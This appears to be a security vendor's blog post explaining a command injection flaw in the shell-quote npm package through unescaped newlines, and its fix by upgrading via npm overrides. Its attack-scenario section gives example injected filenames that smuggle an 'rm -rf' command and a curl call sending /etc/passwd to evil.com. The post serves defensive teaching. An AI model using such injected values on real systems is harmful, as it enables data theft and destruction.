Back to Blog
critical SEVERITY6 min read

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. The fix upgrades shell-quote from version 1.8.2 to 1.9.0 using npm overrides to ensure the patched version is used throughout the dependency tree, closing this dangerous attack vector.

O
By Orbis AppSec
Published August 27, 2026Reviewed August 27, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (CWE-78) where unescaped line terminators (like `\n` or `\r`) allow attackers to inject and execute arbitrary shell commands. The fix requires upgrading shell-quote to version 1.9.0 or later, which properly escapes these characters. In Node.js projects, use npm overrides in package.json to force the patched version across your entire dependency tree.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.9.0 using npm overrides to patch transitive dependencies
riskArbitrary code execution on the server
languageJavaScript (Node.js)
root causeshell-quote failed to escape line terminator characters in shell command strings
vulnerabilityCommand Injection via Unescaped Line Terminators

Introduction

In this repository's package-lock.json, we discovered a critical command injection vulnerability lurking in a transitive dependency: shell-quote version 1.8.2. This widely-used npm package is responsible for parsing and quoting shell command strings—a critical security function that, when flawed, can give attackers the keys to your server.

The vulnerability, tracked as CVE-2026-9277, stems from shell-quote's failure to properly escape line terminator characters (\n, \r, and Unicode line separators). When user-controlled input flows through shell-quote and into a shell command, an attacker can terminate the intended command early and inject their own malicious commands.

What makes this particularly dangerous is that shell-quote is often a transitive dependency—you might not even know it's in your project until a scanner like Trivy flags it in your lockfile.

The Vulnerability Explained

What Went Wrong in shell-quote 1.8.2

The shell-quote package provides two main functions: quote() for escaping strings to be safely used in shell commands, and parse() for parsing shell command strings. The vulnerability exists in how version 1.8.2 handles line terminator characters.

Consider what happens when shell-quote processes input containing a newline:

const shellQuote = require('shell-quote');

// User-controlled input with injected newline
const userInput = "harmless\nrm -rf /important-data";

// Vulnerable shell-quote 1.8.2 would not properly escape the newline
const quoted = shellQuote.quote([userInput]);
// Result might allow the second command to execute

In a Unix shell, a newline character acts as a command separator—just like a semicolon. When shell-quote fails to escape \n, an attacker can craft input that:

  1. Terminates the intended command
  2. Starts a completely new, attacker-controlled command
  3. Executes arbitrary code with the privileges of the Node.js process

Real-World Attack Scenario

Imagine a build tool that uses shell-quote to safely construct a command with user-provided filenames:

const { quote } = require('shell-quote');
const { exec } = require('child_process');

function processFile(filename) {
  // Developer thinks this is safe because they're using shell-quote
  const cmd = `cat ${quote([filename])} | process-tool`;
  exec(cmd, (error, stdout) => {
    // Handle output
  });
}

// Attacker provides:
processFile("data.txt\ncurl http://evil.com/steal?data=$(cat /etc/passwd)");

With the vulnerable shell-quote version, the newline isn't escaped, resulting in two commands being executed:
1. cat data.txt (the intended command)
2. curl http://evil.com/steal?data=$(cat /etc/passwd) (data exfiltration!)

The attacker has achieved arbitrary code execution and can steal sensitive data, install backdoors, or pivot to other systems.

The Fix

What Changed

The fix involves two coordinated changes to ensure the patched version of shell-quote is used throughout the entire dependency tree:

Before (package-lock.json):

"node_modules/shell-quote": {
  "version": "1.8.2",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.2.tgz",
  "integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==",

After (package-lock.json):

"node_modules/shell-quote": {
  "version": "1.9.0",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
  "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==",

The Critical Addition (package.json):

"overrides": {
  "shell-quote": "1.9.0"
}

Why npm Overrides Matter

The overrides field in package.json is crucial here. Since shell-quote is likely a transitive dependency (a dependency of your dependencies), simply updating your direct dependencies wouldn't guarantee the patched version is used everywhere.

The npm overrides feature forces version 1.9.0 of shell-quote to be installed regardless of what version other packages request. This ensures:

  1. Complete coverage: Every package in your dependency tree uses the patched version
  2. No gaps: Transitive dependencies can't pull in the vulnerable version
  3. Explicit intent: The override documents your security decision in version control

How Version 1.9.0 Fixes the Issue

The patched version of shell-quote now properly escapes line terminator characters including:
- Line Feed (\n, U+000A)
- Carriage Return (\r, U+000D)
- Line Separator (U+2028)
- Paragraph Separator (U+2029)

These characters are now quoted or escaped so they're treated as literal characters rather than command separators by the shell.

Prevention & Best Practices

Immediate Actions

  1. Audit your dependencies: Run npm audit regularly to catch known vulnerabilities
  2. Use lockfiles: Always commit package-lock.json to ensure reproducible builds
  3. Enable automated scanning: Tools like Trivy, Snyk, or GitHub's Dependabot can alert you to vulnerable dependencies

Secure Coding Practices for Shell Commands

  1. Avoid shells when possible: Use child_process.execFile() or spawn() with shell: false instead of exec()
// Safer: No shell involved
const { execFile } = require('child_process');
execFile('cat', [filename], (error, stdout) => {
  // Handle output
});
  1. Validate input strictly: Use allowlists for expected input patterns
const SAFE_FILENAME = /^[a-zA-Z0-9_\-\.]+$/;
if (!SAFE_FILENAME.test(filename)) {
  throw new Error('Invalid filename');
}
  1. Keep dependencies updated: Set up automated dependency updates with security-focused tools

Defense in Depth

Even with patched dependencies, implement multiple layers of protection:
- Run Node.js processes with minimal privileges
- Use containers with read-only filesystems where possible
- Implement security monitoring and alerting
- Conduct regular security audits of your dependency tree

Key Takeaways

  • Transitive dependencies are attack vectors: shell-quote wasn't a direct dependency, but its vulnerability still posed critical risk to this project
  • npm overrides are essential for security patches: When a vulnerability exists in a transitive dependency, overrides ensure the fix applies everywhere
  • Line terminators are command separators: Characters like \n can break out of quoted strings and inject new commands if not properly escaped
  • shell-quote is a security-critical package: Any library that constructs shell commands must be kept updated and monitored closely
  • Static analysis catches what humans miss: Trivy identified this CVE in the lockfile before it could be exploited

How Orbis AppSec Detected This

  • Source: User-influenced input flowing through the application to shell command construction
  • Sink: shell-quote package's quote() function when constructing shell command strings
  • Missing control: shell-quote 1.8.2 failed to escape line terminator characters, allowing command injection
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Upgraded shell-quote to 1.9.0 using npm overrides to patch the vulnerability across all transitive dependencies

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 in shell-quote demonstrates how a subtle escaping oversight can lead to critical security consequences. The failure to escape line terminator characters transformed a security library into an attack vector, potentially allowing arbitrary code execution in any application using the vulnerable version.

The fix—upgrading to shell-quote 1.9.0 via npm overrides—is straightforward but highlights an important lesson: security is only as strong as your weakest dependency. Regularly audit your dependency tree, use automated scanning tools, and implement defense in depth to protect against both known and unknown vulnerabilities.

Remember: when it comes to shell commands, trust nothing and escape everything.

References

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an attacker can execute arbitrary system commands by injecting malicious input into a shell command string that isn't properly sanitized or escaped.

How do you prevent command injection in Node.js?

Avoid shell execution when possible, use parameterized APIs like `child_process.execFile()` instead of `exec()`, properly escape all user input using trusted libraries like shell-quote (patched version), and validate input against allowlists.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation helps but isn't sufficient alone. You should combine validation with proper escaping using libraries like shell-quote, and prefer APIs that don't invoke a shell interpreter when possible.

Can static analysis detect command injection?

Yes, static analysis tools like Trivy, Semgrep, and Snyk can detect known vulnerable package versions and dangerous code patterns that may lead to command injection, though they may not catch all custom implementations.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.